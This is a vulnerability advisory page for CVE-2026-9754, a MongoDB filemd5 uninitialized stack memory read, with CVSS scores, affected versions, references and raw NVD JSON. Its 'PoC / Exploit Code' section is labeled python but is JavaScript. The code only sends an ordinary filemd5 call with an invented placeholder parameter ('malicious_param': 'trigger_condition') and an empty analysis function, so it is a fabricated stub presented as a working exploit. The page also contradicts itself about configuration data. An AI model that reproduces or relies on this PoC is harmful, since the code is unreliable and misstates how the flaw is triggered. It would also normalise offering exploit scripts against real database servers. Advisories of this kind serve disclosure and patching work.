CVE-2026-9754

Description

An authenticated user with the read role may read limited amounts of uninitialized stack memory via specially-crafted issuances of the filemd5 command

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

MongoDB Server 6.0.0 - 6.0.12 (需升级到6.0.13或更高版本)

MongoDB Server 7.0.0 - 7.0.1 (需升级到7.0.2或更高版本)

MongoDB Server 5.0.0 - 5.0.21 (需升级到5.0.22或更高版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9754 PoC - MongoDB filemd5 Uninitialized Memory Read
// Author: Security Researcher
// Target: MongoDB Server (vulnerable versions)
// Requirements: Valid credentials with read role

const { MongoClient } = require('mongodb');

async function exploitCVE20269754() {
    const mongoUrl = 'mongodb://target:27017';
    const client = new MongoClient(mongoUrl, {
        auth: { user: 'attacker', password: 'password123' }
    });

    try {
        await client.connect();
        console.log('[+] Connected to MongoDB');

        const db = client.db('test');
        const collection = db.collection('test');

        // Insert a test file for filemd5 operation
        const fileId = await collection.insertOne({
            filename: 'test.txt',
            content: 'Test content for filemd5'
        });

        console.log('[+] Triggering filemd5 command with crafted parameters');

        // Trigger uninitialized memory read via filemd5 command
        // The actual exploitation requires specific conditions
        const result = await db.command({
            filemd5: fileId.insertedId,
            root: collection.collectionName,
            // Additional parameters may be needed to trigger the vulnerability
            'malicious_param': 'trigger_condition'
        });

        console.log('[+] filemd5 response received');
        console.log('[+] Response may contain uninitialized stack memory');
        console.log(JSON.stringify(result, null, 2));

        // Analyze response for leaked memory patterns
        analyzeResponse(result);

    } catch (error) {
        console.error('[-] Error:', error.message);
    } finally {
        await client.close();
    }
}

function analyzeResponse(response) {
    // Check for unusual patterns in response that might indicate leaked memory
    console.log('[+] Analyzing response for memory leak indicators');
}

// Run the exploit
// exploitCVE20269754();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9754
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9754
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9754/
[4] VulDB https://vuldb.com/cve/CVE-2026-9754
[5] https://jira.mongodb.org/browse/SERVER-122207

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9754", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:05.023", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated user with the read role may read limited amounts of uninitialized stack memory via specially-crafted issuances of the filemd5 command"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-457"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-122207", "source": "[email protected]"}]}}